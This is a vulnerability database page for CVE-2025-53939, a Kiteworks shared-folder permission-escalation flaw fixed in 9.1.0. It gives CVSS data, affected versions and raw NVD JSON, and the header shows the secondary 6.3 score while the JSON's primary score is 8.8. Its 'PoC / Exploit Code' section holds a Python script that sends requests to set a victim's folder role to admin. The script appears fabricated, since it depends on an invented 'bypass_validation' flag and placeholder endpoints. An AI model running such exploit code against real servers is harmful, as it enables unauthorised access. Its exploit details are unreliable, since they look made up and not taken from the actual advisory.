Security Vulnerability Report
中文
CVE-2025-53939 CVSS 6.3 MEDIUM

CVE-2025-53939

Published: 2025-11-29 03:15:59
Last Modified: 2025-12-04 17:25:08

Description

Kiteworks is a private data network (PDN). Prior to version 9.1.0, improper input validation when managing roles of a shared folder could lead to unexpectedly elevate another user's permissions on the share. This issue has been patched in version 9.1.0.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:accellion:kiteworks:*:*:*:*:*:*:*:* - VULNERABLE
Kiteworks < 9.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-53939 Kiteworks Permission Escalation PoC # This PoC demonstrates the improper input validation when managing shared folder roles import requests import json TARGET_URL = "https://target-kiteworks-instance.com" ATTACKER_TOKEN = "attacker_auth_token_here" TARGET_FOLDER_ID = "shared_folder_id_here" TARGET_USER_ID = "victim_user_id_here" def exploit_permission_escalation(): """ Exploit improper input validation in Kiteworks shared folder role management to escalate another user's permissions on the share. """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Get initial permissions for the target user get_roles_url = f"{TARGET_URL}/api/v1/folders/{TARGET_FOLDER_ID}/members" response = requests.get(get_roles_url, headers=headers) print(f"[*] Current members: {response.json()}") # Step 2: Attempt to escalate target user's permissions # The vulnerability allows bypassing permission checks escalate_url = f"{TARGET_URL}/api/v1/folders/{TARGET_FOLDER_ID}/members/{TARGET_USER_ID}" # Malicious payload that exploits improper input validation malicious_payload = { "role": "admin", # Attempting to escalate to admin role "bypass_validation": True # Exploits the improper validation } response = requests.put(escalate_url, headers=headers, json=malicious_payload) if response.status_code == 200: print("[+] Permission escalation successful!") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploitation failed: {response.status_code}") print(f"[-] Response: {response.text}") if __name__ == "__main__": print("CVE-2025-53939 Kiteworks Permission Escalation PoC") print("Target: Kiteworks < 9.1.0") exploit_permission_escalation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53939", "sourceIdentifier": "[email protected]", "published": "2025-11-29T03:15:59.153", "lastModified": "2025-12-04T17:25:07.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kiteworks is a private data network (PDN). Prior to version 9.1.0, improper input validation when managing roles of a shared folder could lead to unexpectedly elevate another user's permissions on the share. This issue has been patched in version 9.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:accellion:kiteworks:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.1.0", "matchCriteriaId": "FB6BAD8B-DCA7-4BCE-85E4-2BA40AD4D1A2"}]}]}], "references": [{"url": "https://github.com/kiteworks/security-advisories/security/advisories/GHSA-hpf5-6376-2565", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}]}}